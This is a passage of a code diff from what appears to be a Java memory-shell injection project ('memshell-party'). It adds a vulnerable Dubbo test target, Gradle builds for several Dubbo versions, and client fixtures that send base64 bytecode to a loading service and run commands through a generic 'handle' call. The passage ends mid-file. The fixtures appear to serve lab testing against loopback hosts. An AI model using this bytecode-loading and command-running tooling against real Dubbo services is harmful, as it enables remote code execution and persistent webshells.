uri.getPath(),
|
||||||
|
uri.getQuery(),
|
||||||
|
uri.getFragment()
|
||||||
|
).toString();
|
||||||
|
} catch (URISyntaxException e) {
|
||||||
|
throw new IllegalArgumentException("invalid direct url: " + url + " or " + endpointUrl, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+34
@@ -0,0 +1,34 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.hamcrest.Matchers.contains;
|
||||||
|
|
||||||
|
class DubboUrlResolverTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void discoveredUrlsOverrideFallbackByProtocolAndRewriteHost() {
|
||||||
|
String interfaceName = "org.example.ICommandService";
|
||||||
|
String loadOutput = "ok dubbo://x.x.x.x:20880/" + interfaceName + "?side=provider, "
|
||||||
|
+ "hessian://10.1.2.3:28080/" + interfaceName;
|
||||||
|
|
||||||
|
List<String> resolved = DubboUrlResolver.resolveCommandUrls(
|
||||||
|
loadOutput,
|
||||||
|
interfaceName,
|
||||||
|
List.of(
|
||||||
|
"dubbo://127.0.0.1:1111/" + interfaceName,
|
||||||
|
"hessian://127.0.0.1:2222/" + interfaceName,
|
||||||
|
"tri://127.0.0.1:3333/" + interfaceName
|
||||||
|
)
|
||||||
|
);
|
||||||
|
|
||||||
|
assertThat(resolved, contains(
|
||||||
|
"dubbo://127.0.0.1:1111/" + interfaceName + "?side=provider",
|
||||||
|
"hessian://127.0.0.1:2222/" + interfaceName,
|
||||||
|
"tri://127.0.0.1:3333/" + interfaceName
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-1
@@ -28,7 +28,7 @@ dependencyResolutionManagement {
|
|||||||
rootProject.name = "memshell-party"
|
rootProject.name = "memshell-party"
|
||||||
|
|
||||||
include("memshell-party-common")
|
include("memshell-party-common")
|
||||||
include("tools:godzilla", "tools:behinder", "tools:suo5", "tools:ant-sword")
|
include("tools:godzilla", "tools:behinder", "tools:suo5", "tools:ant-sword", "tools:command")
|
||||||
include("packer")
|
include("packer")
|
||||||
include("boot")
|
include("boot")
|
||||||
include("generator")
|
include("generator")
|
||||||
@@ -47,6 +47,7 @@ include("vul:vul-springboot359")
|
|||||||
include("vul:vul-springboot2-webflux")
|
include("vul:vul-springboot2-webflux")
|
||||||
include("vul:vul-springboot3-webflux")
|
include("vul:vul-springboot3-webflux")
|
||||||
include("vul:vul-playframework")
|
include("vul:vul-playframework")
|
||||||
|
include("vul:vul-dubbo")
|
||||||
include("memshell-agent:memshell-agent-attacher")
|
include("memshell-agent:memshell-agent-attacher")
|
||||||
include("memshell-agent:memshell-agent-asm")
|
include("memshell-agent:memshell-agent-asm")
|
||||||
include("memshell-agent:memshell-agent-javassist")
|
include("memshell-agent:memshell-agent-javassist")
|
||||||
|
|||||||
@@ -0,0 +1,96 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("idea")
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
val dubboClientCommon: SourceSet by sourceSets.creating
|
||||||
|
val dubboClientAlibaba: SourceSet by sourceSets.creating
|
||||||
|
val dubboClientApache: SourceSet by sourceSets.creating
|
||||||
|
|
||||||
|
val dubboClientCommonImplementation: Configuration by configurations.getting
|
||||||
|
val dubboClientAlibabaImplementation: Configuration by configurations.getting
|
||||||
|
val dubboClientApacheImplementation: Configuration by configurations.getting
|
||||||
|
|
||||||
|
val dubboClientCommonOutput = dubboClientCommon.output
|
||||||
|
|
||||||
|
dubboClientAlibaba.compileClasspath += dubboClientCommonOutput
|
||||||
|
dubboClientAlibaba.runtimeClasspath += dubboClientCommonOutput
|
||||||
|
dubboClientApache.compileClasspath += dubboClientCommonOutput
|
||||||
|
dubboClientApache.runtimeClasspath += dubboClientCommonOutput
|
||||||
|
|
||||||
|
listOf(
|
||||||
|
"dubboClientApacheCompileClasspath",
|
||||||
|
"dubboClientApacheRuntimeClasspath"
|
||||||
|
).forEach { configurationName ->
|
||||||
|
configurations.named(configurationName) {
|
||||||
|
exclude(group = "io.netty", module = "netty-transport-native-kqueue")
|
||||||
|
exclude(group = "io.netty", module = "netty-resolver-dns-native-macos")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
idea {
|
||||||
|
module {
|
||||||
|
excludeDirs.add(file("src/main"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
dubboClientCommonImplementation("org.slf4j:slf4j-api:1.7.36")
|
||||||
|
|
||||||
|
dubboClientAlibabaImplementation(dubboClientCommonOutput)
|
||||||
|
dubboClientAlibabaImplementation("com.alibaba:dubbo:2.6.12")
|
||||||
|
dubboClientAlibabaImplementation("com.alibaba:hessian-lite:3.2.4")
|
||||||
|
dubboClientAlibabaImplementation("com.caucho:hessian:4.0.51")
|
||||||
|
dubboClientAlibabaImplementation("org.apache.httpcomponents:httpclient:4.5.3")
|
||||||
|
dubboClientAlibabaImplementation("org.springframework:spring-web:5.3.39")
|
||||||
|
dubboClientAlibabaImplementation("io.netty:netty-all:4.1.25.Final")
|
||||||
|
dubboClientAlibabaImplementation("org.mortbay.jetty:jetty:6.1.26")
|
||||||
|
dubboClientAlibabaImplementation("org.mortbay.jetty:jetty-util:6.1.26")
|
||||||
|
dubboClientAlibabaImplementation("org.slf4j:slf4j-api:1.7.36")
|
||||||
|
dubboClientAlibabaImplementation("ch.qos.logback:logback-classic:1.2.13")
|
||||||
|
|
||||||
|
dubboClientApacheImplementation(dubboClientCommonOutput)
|
||||||
|
dubboClientApacheImplementation("org.apache.dubbo:dubbo:3.3.6") {
|
||||||
|
exclude(group = "log4j", module = "log4j")
|
||||||
|
}
|
||||||
|
dubboClientApacheImplementation("org.apache.dubbo:dubbo-rpc-triple:3.3.6")
|
||||||
|
dubboClientApacheImplementation("org.apache.dubbo.extensions:dubbo-rpc-http:3.3.1")
|
||||||
|
dubboClientApacheImplementation("org.apache.dubbo.extensions:dubbo-rpc-hessian:3.3.0")
|
||||||
|
dubboClientApacheImplementation("org.apache.dubbo:dubbo-remoting-http:3.3.0-beta.2")
|
||||||
|
dubboClientApacheImplementation("com.caucho:hessian:4.0.51")
|
||||||
|
dubboClientApacheImplementation("io.netty:netty-all:4.1.119.Final")
|
||||||
|
dubboClientApacheImplementation("org.slf4j:slf4j-api:2.0.17")
|
||||||
|
dubboClientApacheImplementation("ch.qos.logback:logback-classic:1.5.18")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.named<JavaCompile>(dubboClientCommon.compileJavaTaskName) {
|
||||||
|
options.release.set(8)
|
||||||
|
}
|
||||||
|
|
||||||
|
listOf(dubboClientAlibaba, dubboClientApache).forEach { sourceSet ->
|
||||||
|
tasks.named<JavaCompile>(sourceSet.compileJavaTaskName) {
|
||||||
|
options.release.set(8)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.register("dubboClientClasspath") {
|
||||||
|
group = "verification"
|
||||||
|
dependsOn(dubboClientAlibaba.classesTaskName, dubboClientApache.classesTaskName)
|
||||||
|
doLast {
|
||||||
|
layout.buildDirectory.file("dubbo-client-classpaths/alibaba.txt").get().asFile.apply {
|
||||||
|
parentFile.mkdirs()
|
||||||
|
writeText(dubboClientAlibaba.runtimeClasspath.asPath)
|
||||||
|
}
|
||||||
|
layout.buildDirectory.file("dubbo-client-classpaths/apache.txt").get().asFile.apply {
|
||||||
|
parentFile.mkdirs()
|
||||||
|
writeText(dubboClientApache.runtimeClasspath.asPath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.named("classes") {
|
||||||
|
dependsOn(dubboClientCommon.classesTaskName, dubboClientAlibaba.classesTaskName, dubboClientApache.classesTaskName)
|
||||||
|
}
|
||||||
+101
@@ -0,0 +1,101 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.client.alibaba;
|
||||||
|
|
||||||
|
import com.alibaba.dubbo.common.utils.NetUtils;
|
||||||
|
import com.alibaba.dubbo.config.ApplicationConfig;
|
||||||
|
import com.alibaba.dubbo.config.ReferenceConfig;
|
||||||
|
import com.alibaba.dubbo.config.RegistryConfig;
|
||||||
|
import com.alibaba.dubbo.rpc.service.GenericService;
|
||||||
|
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
|
||||||
|
import io.github.reajason.dubbo.fixture.client.ClientRuntimeSupport;
|
||||||
|
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.net.InetAddress;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
|
||||||
|
public class AlibabaDubboClient {
|
||||||
|
|
||||||
|
private static final String LOOPBACK_HOST = "127.0.0.1";
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ClientRuntimeSupport.prepareClientJvm();
|
||||||
|
forceLoopbackLocalAddress();
|
||||||
|
if (args.length < 1) {
|
||||||
|
throw new IllegalArgumentException("usage: load-bytes <url> <base64> | run-command <url> <interfaceName> <command>");
|
||||||
|
}
|
||||||
|
if ("load-bytes".equals(args[0])) {
|
||||||
|
if (args.length < 3) {
|
||||||
|
throw new IllegalArgumentException("usage: load-bytes <url> <base64>");
|
||||||
|
}
|
||||||
|
System.out.println(loadBytes(args[1], args[2]));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if ("run-command".equals(args[0])) {
|
||||||
|
if (args.length < 4) {
|
||||||
|
throw new IllegalArgumentException("usage: run-command <url> <interfaceName> <command>");
|
||||||
|
}
|
||||||
|
Object result = runCommand(args[1], args[2], args[3]);
|
||||||
|
if (result instanceof byte[]) {
|
||||||
|
System.out.println(new String((byte[]) result, StandardCharsets.UTF_8));
|
||||||
|
} else {
|
||||||
|
System.out.println(String.valueOf(result));
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
throw new IllegalArgumentException("unsupported action: " + args[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String loadBytes(String url, String base64) {
|
||||||
|
ClientRuntimeSupport.prepareClientJvm();
|
||||||
|
forceLoopbackLocalAddress();
|
||||||
|
ReferenceConfig<BytecodeLoadingService> reference = new ReferenceConfig<BytecodeLoadingService>();
|
||||||
|
reference.setApplication(new ApplicationConfig("alibaba-dubbo-load-bytes-client"));
|
||||||
|
reference.setRegistry(new RegistryConfig("N/A"));
|
||||||
|
reference.setInterface(BytecodeLoadingService.class);
|
||||||
|
reference.setCheck(false);
|
||||||
|
reference.setTimeout(30000);
|
||||||
|
reference.setRetries(0);
|
||||||
|
reference.setUrl(url);
|
||||||
|
|
||||||
|
BytecodeLoadingService loadingService = reference.get();
|
||||||
|
try {
|
||||||
|
return loadingService.loadBytes(base64);
|
||||||
|
} finally {
|
||||||
|
reference.destroy();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object runCommand(String url, String interfaceName, String command) {
|
||||||
|
ClientRuntimeSupport.prepareClientJvm();
|
||||||
|
forceLoopbackLocalAddress();
|
||||||
|
ReferenceConfig<GenericService> reference = new ReferenceConfig<GenericService>();
|
||||||
|
reference.setApplication(new ApplicationConfig("alibaba-dubbo-command-client"));
|
||||||
|
reference.setRegistry(new RegistryConfig("N/A"));
|
||||||
|
reference.setInterface(interfaceName);
|
||||||
|
reference.setGeneric(true);
|
||||||
|
reference.setCheck(false);
|
||||||
|
reference.setTimeout(30000);
|
||||||
|
reference.setRetries(0);
|
||||||
|
reference.setUrl(url);
|
||||||
|
|
||||||
|
GenericService genericService = reference.get();
|
||||||
|
try {
|
||||||
|
return genericService.$invoke(
|
||||||
|
"handle",
|
||||||
|
new String[]{byte[].class.getName()},
|
||||||
|
new Object[]{command.getBytes(StandardCharsets.UTF_8)}
|
||||||
|
);
|
||||||
|
} finally {
|
||||||
|
reference.destroy();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void forceLoopbackLocalAddress() {
|
||||||
|
try {
|
||||||
|
Field localAddressField = NetUtils.class.getDeclaredField("LOCAL_ADDRESS");
|
||||||
|
localAddressField.setAccessible(true);
|
||||||
|
localAddressField.set(null, InetAddress.getByName(LOOPBACK_HOST));
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
// Best-effort workaround for Dubbo 2.6.x local address selection on macOS.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+83
@@ -0,0 +1,83 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.client.apache;
|
||||||
|
|
||||||
|
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
|
||||||
|
import io.github.reajason.dubbo.fixture.client.ClientRuntimeSupport;
|
||||||
|
import org.apache.dubbo.config.ApplicationConfig;
|
||||||
|
import org.apache.dubbo.config.ReferenceConfig;
|
||||||
|
import org.apache.dubbo.config.RegistryConfig;
|
||||||
|
import org.apache.dubbo.rpc.service.GenericService;
|
||||||
|
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
|
||||||
|
public class ApacheDubboClient {
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ClientRuntimeSupport.prepareClientJvm();
|
||||||
|
if (args.length < 1) {
|
||||||
|
throw new IllegalArgumentException("usage: load-bytes <url> <base64> | run-command <url> <interfaceName> <command>");
|
||||||
|
}
|
||||||
|
if ("load-bytes".equals(args[0])) {
|
||||||
|
if (args.length < 3) {
|
||||||
|
throw new IllegalArgumentException("usage: load-bytes <url> <base64>");
|
||||||
|
}
|
||||||
|
System.out.println(loadBytes(args[1], args[2]));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if ("run-command".equals(args[0])) {
|
||||||
|
if (args.length < 4) {
|
||||||
|
throw new IllegalArgumentException("usage: run-command <url> <interfaceName> <command>");
|
||||||
|
}
|
||||||
|
Object result = runCommand(args[1], args[2], args[3]);
|
||||||
|
if (result instanceof byte[]) {
|
||||||
|
System.out.println(new String((byte[]) result, StandardCharsets.UTF_8));
|
||||||
|
} else {
|
||||||
|
System.out.println(String.valueOf(result));
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
throw new IllegalArgumentException("unsupported action: " + args[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String loadBytes(String url, String base64) {
|
||||||
|
ClientRuntimeSupport.prepareClientJvm();
|
||||||
|
ReferenceConfig<BytecodeLoadingService> reference = new ReferenceConfig<BytecodeLoadingService>();
|
||||||
|
reference.setApplication(new ApplicationConfig("apache-dubbo-load-bytes-client"));
|
||||||
|
reference.setRegistry(new RegistryConfig("N/A"));
|
||||||
|
reference.setInterface(BytecodeLoadingService.class);
|
||||||
|
reference.setCheck(false);
|
||||||
|
reference.setTimeout(30000);
|
||||||
|
reference.setRetries(0);
|
||||||
|
reference.setUrl(url);
|
||||||
|
|
||||||
|
BytecodeLoadingService loadingService = reference.get();
|
||||||
|
try {
|
||||||
|
return loadingService.loadBytes(base64);
|
||||||
|
} finally {
|
||||||
|
reference.destroy();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object runCommand(String url, String interfaceName, String command) {
|
||||||
|
ClientRuntimeSupport.prepareClientJvm();
|
||||||
|
ReferenceConfig<GenericService> reference = new ReferenceConfig<GenericService>();
|
||||||
|
reference.setApplication(new ApplicationConfig("apache-dubbo-command-client"));
|
||||||
|
reference.setRegistry(new RegistryConfig("N/A"));
|
||||||
|
reference.setInterface(interfaceName);
|
||||||
|
reference.setGeneric(true);
|
||||||
|
reference.setCheck(false);
|
||||||
|
reference.setTimeout(30000);
|
||||||
|
reference.setRetries(0);
|
||||||
|
reference.setUrl(url);
|
||||||
|
|
||||||
|
GenericService genericService = reference.get();
|
||||||
|
try {
|
||||||
|
return genericService.$invoke(
|
||||||
|
"handle",
|
||||||
|
new String[]{byte[].class.getName()},
|
||||||
|
new Object[]{command.getBytes(StandardCharsets.UTF_8)}
|
||||||
|
);
|
||||||
|
} finally {
|
||||||
|
reference.destroy();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+5
@@ -0,0 +1,5 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.api;
|
||||||
|
|
||||||
|
public interface BytecodeLoadingService {
|
||||||
|
String loadBytes(String base64);
|
||||||
|
}
|
||||||
+29
@@ -0,0 +1,29 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.client;
|
||||||
|
|
||||||
|
public final class ClientRuntimeSupport {
|
||||||
|
|
||||||
|
private static final String[] PROXY_PROPERTIES = new String[]{
|
||||||
|
"proxyHost",
|
||||||
|
"proxyPort",
|
||||||
|
"http.proxyHost",
|
||||||
|
"http.proxyPort",
|
||||||
|
"https.proxyHost",
|
||||||
|
"https.proxyPort",
|
||||||
|
"socksProxyHost",
|
||||||
|
"socksProxyPort",
|
||||||
|
"ftp.proxyHost",
|
||||||
|
"ftp.proxyPort"
|
||||||
|
};
|
||||||
|
|
||||||
|
private ClientRuntimeSupport() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void prepareClientJvm() {
|
||||||
|
System.setProperty("dubbo.compiler", "jdk");
|
||||||
|
System.setProperty("java.net.preferIPv4Stack", "true");
|
||||||
|
System.setProperty("java.net.useSystemProxies", "false");
|
||||||
|
for (String property : PROXY_PROPERTIES) {
|
||||||
|
System.clearProperty(property);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,240 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("idea")
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
val dubboProviderCommon: SourceSet by sourceSets.creating
|
||||||
|
val dubboProviderAlibaba: SourceSet by sourceSets.creating
|
||||||
|
val dubboProviderApache276: SourceSet by sourceSets.creating
|
||||||
|
val dubboProviderApache277: SourceSet by sourceSets.creating
|
||||||
|
val dubboProviderApache278: SourceSet by sourceSets.creating
|
||||||
|
val dubboProviderApache2723: SourceSet by sourceSets.creating
|
||||||
|
val dubboProviderApache336: SourceSet by sourceSets.creating
|
||||||
|
|
||||||
|
val dubboProviderCommonImplementation: Configuration by configurations.getting
|
||||||
|
val dubboProviderAlibabaImplementation: Configuration by configurations.getting
|
||||||
|
val dubboProviderApache276Implementation: Configuration by configurations.getting
|
||||||
|
val dubboProviderApache277Implementation: Configuration by configurations.getting
|
||||||
|
val dubboProviderApache278Implementation: Configuration by configurations.getting
|
||||||
|
val dubboProviderApache2723Implementation: Configuration by configurations.getting
|
||||||
|
val dubboProviderApache336Implementation: Configuration by configurations.getting
|
||||||
|
|
||||||
|
val dubboProviderCommonOutput = dubboProviderCommon.output
|
||||||
|
|
||||||
|
dubboProviderAlibaba.compileClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderAlibaba.runtimeClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache276.compileClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache276.runtimeClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache277.compileClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache277.runtimeClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache278.compileClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache278.runtimeClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache2723.compileClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache2723.runtimeClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache336.compileClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache336.runtimeClasspath += dubboProviderCommonOutput
|
||||||
|
|
||||||
|
listOf(
|
||||||
|
"dubboProviderApache336CompileClasspath",
|
||||||
|
"dubboProviderApache336RuntimeClasspath"
|
||||||
|
).forEach { configurationName ->
|
||||||
|
configurations.named(configurationName) {
|
||||||
|
exclude(group = "io.netty", module = "netty-transport-native-kqueue")
|
||||||
|
exclude(group = "io.netty", module = "netty-resolver-dns-native-macos")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
idea {
|
||||||
|
module {
|
||||||
|
excludeDirs.add(file("src/main"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
dubboProviderCommonImplementation("org.slf4j:slf4j-api:1.7.36")
|
||||||
|
dubboProviderCommonImplementation("org.apache.dubbo:dubbo:2.7.23") {
|
||||||
|
exclude(group = "log4j", module = "log4j")
|
||||||
|
}
|
||||||
|
|
||||||
|
dubboProviderAlibabaImplementation(dubboProviderCommonOutput)
|
||||||
|
dubboProviderAlibabaImplementation("com.alibaba:dubbo:2.6.12")
|
||||||
|
dubboProviderAlibabaImplementation("org.apache.dubbo:dubbo:2.7.6")
|
||||||
|
dubboProviderAlibabaImplementation("com.alibaba:hessian-lite:3.2.4")
|
||||||
|
dubboProviderAlibabaImplementation("com.caucho:hessian:4.0.51")
|
||||||
|
dubboProviderAlibabaImplementation("org.apache.httpcomponents:httpclient:4.5.3")
|
||||||
|
dubboProviderAlibabaImplementation("org.springframework:spring-web:5.3.39")
|
||||||
|
dubboProviderAlibabaImplementation("io.netty:netty-all:4.1.25.Final")
|
||||||
|
dubboProviderAlibabaImplementation("org.mortbay.jetty:jetty:6.1.26")
|
||||||
|
dubboProviderAlibabaImplementation("org.mortbay.jetty:jetty-util:6.1.26")
|
||||||
|
dubboProviderAlibabaImplementation("org.slf4j:slf4j-api:1.7.36")
|
||||||
|
dubboProviderAlibabaImplementation("ch.qos.logback:logback-classic:1.2.13")
|
||||||
|
|
||||||
|
fun apacheDubbo27Provider(configuration: Configuration, version: String, tomcatVersion: String) {
|
||||||
|
add(configuration.name, dubboProviderCommonOutput)
|
||||||
|
add(configuration.name, "org.apache.dubbo:dubbo:$version") {
|
||||||
|
exclude(group = "log4j", module = "log4j")
|
||||||
|
}
|
||||||
|
add(configuration.name, "com.alibaba:hessian-lite:3.2.4")
|
||||||
|
add(configuration.name, "com.caucho:hessian:4.0.51")
|
||||||
|
add(configuration.name, "org.apache.httpcomponents:httpclient:4.5.13")
|
||||||
|
add(configuration.name, "com.github.briandilley.jsonrpc4j:jsonrpc4j:1.2.0")
|
||||||
|
add(configuration.name, "org.springframework:spring-web:5.3.39")
|
||||||
|
add(configuration.name, "org.apache.tomcat.embed:tomcat-embed-core:$tomcatVersion")
|
||||||
|
add(configuration.name, "org.mortbay.jetty:jetty:6.1.26")
|
||||||
|
add(configuration.name, "org.mortbay.jetty:jetty-util:6.1.26")
|
||||||
|
add(configuration.name, "org.slf4j:slf4j-api:1.7.36")
|
||||||
|
add(configuration.name, "ch.qos.logback:logback-classic:1.2.13")
|
||||||
|
}
|
||||||
|
|
||||||
|
apacheDubbo27Provider(dubboProviderApache276Implementation, "2.7.6", "8.5.100")
|
||||||
|
apacheDubbo27Provider(dubboProviderApache277Implementation, "2.7.7", "8.5.100")
|
||||||
|
apacheDubbo27Provider(dubboProviderApache278Implementation, "2.7.8", "9.0.104")
|
||||||
|
apacheDubbo27Provider(dubboProviderApache2723Implementation, "2.7.23", "9.0.104")
|
||||||
|
|
||||||
|
dubboProviderApache336Implementation(dubboProviderCommonOutput)
|
||||||
|
dubboProviderApache336Implementation("org.apache.dubbo:dubbo:3.3.6") {
|
||||||
|
exclude(group = "log4j", module = "log4j")
|
||||||
|
}
|
||||||
|
dubboProviderApache336Implementation("org.apache.dubbo:dubbo-rpc-triple:3.3.6")
|
||||||
|
dubboProviderApache336Implementation("org.apache.dubbo.extensions:dubbo-rpc-http:3.3.1")
|
||||||
|
dubboProviderApache336Implementation("org.apache.dubbo.extensions:dubbo-rpc-hessian:3.3.0")
|
||||||
|
dubboProviderApache336Implementation("org.apache.dubbo:dubbo-remoting-http:3.3.0-beta.2")
|
||||||
|
dubboProviderApache336Implementation("com.caucho:hessian:4.0.51")
|
||||||
|
dubboProviderApache336Implementation("io.netty:netty-all:4.1.119.Final")
|
||||||
|
dubboProviderApache336Implementation("org.slf4j:slf4j-api:2.0.17")
|
||||||
|
dubboProviderApache336Implementation("ch.qos.logback:logback-classic:1.5.18")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.named<JavaCompile>(dubboProviderCommon.compileJavaTaskName) {
|
||||||
|
options.release.set(8)
|
||||||
|
}
|
||||||
|
|
||||||
|
listOf(
|
||||||
|
dubboProviderAlibaba,
|
||||||
|
dubboProviderApache276,
|
||||||
|
dubboProviderApache277,
|
||||||
|
dubboProviderApache278,
|
||||||
|
dubboProviderApache2723,
|
||||||
|
dubboProviderApache336
|
||||||
|
).forEach { sourceSet ->
|
||||||
|
tasks.named<JavaCompile>(sourceSet.compileJavaTaskName) {
|
||||||
|
options.release.set(8)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun registerDubboFatJar(
|
||||||
|
taskName: String,
|
||||||
|
sourceSet: SourceSet,
|
||||||
|
mainClassName: String,
|
||||||
|
mergeApacheProtocolSpi: Boolean = false
|
||||||
|
): TaskProvider<Jar> {
|
||||||
|
val protocolSpiPath = "META-INF/dubbo/internal/org.apache.dubbo.rpc.Protocol"
|
||||||
|
val mergedProtocolSpi = layout.buildDirectory.file("generated/$taskName/$protocolSpiPath")
|
||||||
|
val mergeTask = if (mergeApacheProtocolSpi) {
|
||||||
|
tasks.register("${taskName}MergeProtocolSpi") {
|
||||||
|
inputs.files(sourceSet.runtimeClasspath)
|
||||||
|
outputs.file(mergedProtocolSpi)
|
||||||
|
doLast {
|
||||||
|
val outputFile = mergedProtocolSpi.get().asFile
|
||||||
|
outputFile.parentFile.mkdirs()
|
||||||
|
val mergedLines = linkedSetOf<String>()
|
||||||
|
sourceSet.runtimeClasspath.files
|
||||||
|
.filter { it.extension == "jar" }
|
||||||
|
.forEach { runtimeJar ->
|
||||||
|
zipTree(runtimeJar).matching {
|
||||||
|
include(protocolSpiPath)
|
||||||
|
}.forEach { spiFile ->
|
||||||
|
spiFile.readLines()
|
||||||
|
.map(String::trim)
|
||||||
|
.filter { it.isNotEmpty() && !it.startsWith("#") }
|
||||||
|
.forEach(mergedLines::add)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outputFile.writeText(mergedLines.joinToString(System.lineSeparator()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
null
|
||||||
|
}
|
||||||
|
|
||||||
|
return tasks.register<Jar>(taskName) {
|
||||||
|
group = "verification"
|
||||||
|
archiveClassifier.set(taskName.removePrefix("dubbo").removeSuffix("FatJar").lowercase())
|
||||||
|
duplicatesStrategy = DuplicatesStrategy.EXCLUDE
|
||||||
|
dependsOn(sourceSet.classesTaskName, dubboProviderCommon.classesTaskName)
|
||||||
|
manifest {
|
||||||
|
attributes["Main-Class"] = mainClassName
|
||||||
|
}
|
||||||
|
from(sourceSet.output)
|
||||||
|
from(dubboProviderCommon.output)
|
||||||
|
if (mergeApacheProtocolSpi) {
|
||||||
|
dependsOn(mergeTask)
|
||||||
|
from({
|
||||||
|
sourceSet.runtimeClasspath.files
|
||||||
|
.filter { it.exists() }
|
||||||
|
.map { if (it.isDirectory) it else zipTree(it) }
|
||||||
|
}) {
|
||||||
|
includeEmptyDirs = false
|
||||||
|
exclude(protocolSpiPath)
|
||||||
|
}
|
||||||
|
into("META-INF/dubbo/internal") {
|
||||||
|
from(mergedProtocolSpi) {
|
||||||
|
rename { "org.apache.dubbo.rpc.Protocol" }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
from({
|
||||||
|
sourceSet.runtimeClasspath.files
|
||||||
|
.filter { it.exists() }
|
||||||
|
.map { if (it.isDirectory) it else zipTree(it) }
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
val dubboAlibabaProviderFatJar = registerDubboFatJar(
|
||||||
|
"dubboAlibabaProviderFatJar",
|
||||||
|
dubboProviderAlibaba,
|
||||||
|
"io.github.reajason.dubbo.fixture.alibaba.AlibabaDubbo2Provider"
|
||||||
|
)
|
||||||
|
val dubboApache276ProviderFatJar = registerDubboFatJar(
|
||||||
|
"dubboApache276ProviderFatJar",
|
||||||
|
dubboProviderApache276,
|
||||||
|
"io.github.reajason.dubbo.fixture.apache2.ApacheDubbo276Provider"
|
||||||
|
)
|
||||||
|
val dubboApache277ProviderFatJar = registerDubboFatJar(
|
||||||
|
"dubboApache277ProviderFatJar",
|
||||||
|
dubboProviderApache277,
|
||||||
|
"io.github.reajason.dubbo.fixture.apache2.ApacheDubbo277Provider"
|
||||||
|
)
|
||||||
|
val dubboApache278ProviderFatJar = registerDubboFatJar(
|
||||||
|
"dubboApache278ProviderFatJar",
|
||||||
|
dubboProviderApache278,
|
||||||
|
"io.github.reajason.dubbo.fixture.apache2.ApacheDubbo278Provider"
|
||||||
|
)
|
||||||
|
val dubboApache2723ProviderFatJar = registerDubboFatJar(
|
||||||
|
"dubboApache2723ProviderFatJar",
|
||||||
|
dubboProviderApache2723,
|
||||||
|
"io.github.reajason.dubbo.fixture.apache2.ApacheDubbo2723Provider"
|
||||||
|
)
|
||||||
|
val dubboApache336ProviderFatJar = registerDubboFatJar(
|
||||||
|
"dubboApache336ProviderFatJar",
|
||||||
|
dubboProviderApache336,
|
||||||
|
"io.github.reajason.dubbo.fixture.apache3.ApacheDubbo336Provider",
|
||||||
|
mergeApacheProtocolSpi = true
|
||||||
|
)
|
||||||
|
|
||||||
|
tasks.register("dubboProviderFatJars") {
|
||||||
|
